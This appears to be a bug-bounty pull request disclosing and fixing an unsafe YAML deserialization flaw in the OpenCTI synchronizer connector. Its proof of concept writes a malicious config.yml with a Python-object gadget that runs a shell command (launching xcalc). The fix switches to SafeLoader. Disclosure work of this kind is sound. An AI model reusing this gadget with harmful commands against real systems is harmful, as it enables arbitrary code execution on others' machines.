Fixed arbitary code execution in connectors/synchronizer

[Asjidkalam]

📊 Metadata *

Insecure YAML desearilization

Bounty URL: https://www.huntr.dev/bounties/1-other-synchronizer/

⚙️ Description *

OpenCTI connectors is used to store the OpenCTI connectors for the platform integration with other tools and applications. OpenCTI synchronizer connector allows you to synchronize a third-party OpenCTI platform to your own one, which is vulnerable to Arbitrary Code Execution.

💻 Technical Description *

Vulnerable to YAML deserialization attack caused by unsafe loading.

🐛 Proof of Concept (PoC) *

python3 exp.py

import os
#os.sysem('git clone https://github.com/OpenCTI-Platform/connectors')
os.chdir('connectors/synchronizer/src')
payload = """cmd: !!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "__import__('os').system('xcalc')"
"""
open('config.yml','w+').write(payload)
os.system('python synchronizer.py')

🔥 Proof of Fix (PoF) *

Used a safer loader(SafeLoader) instead of FullLoader.

The issue is fixed, and hence no code is executed.

👍 User Acceptance Testing (UAT)

All Ok, No breaking changes introduced. :)

[huntr-helper]

👋 Hello, @SamuelHassine - @Asjidkalam has opened a PR to us with a fix for a potential vulnerability in your repository. To view the vulnerability, please refer to the bounty URL in the first comment, above.

Ultimately, you get to decide if the fix is 👍 or 👎. If you are happy with the fix, please write a new comment (@huntr-helper - LGTM) and we will open a PR to your repository with the fix. All remaining PRs for this vulnerability will be automatically closed.

If you have any questions or need support, come and join us on our community Discord!

@SamuelHassine & @Asjidkalam - thank you for your efforts in securing the world’s open source code! 🎉